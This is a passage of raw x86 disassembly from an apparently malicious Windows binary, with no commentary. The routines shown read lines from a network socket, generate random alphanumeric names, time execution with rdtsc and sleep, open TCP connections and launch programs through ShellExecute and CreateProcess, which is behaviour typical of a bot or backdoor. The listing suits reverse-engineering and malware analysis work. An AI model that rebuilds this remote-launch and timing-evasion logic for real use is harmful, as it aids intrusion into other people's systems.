		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B674:				; CODE XREF: sub_41B580+B5j
					; sub_41B580+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B5EE


loc_41B67F:				; CODE XREF: sub_41B580+3Ej
					; sub_41B580+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B690:				; CODE XREF: sub_41B580+Bj
					; sub_41B580+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B580	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6F0	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41B6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 28011F8h
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E0DC8h
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E5C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E78
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E74
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E6C
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E68
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E64
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E60
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27F036Dh
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
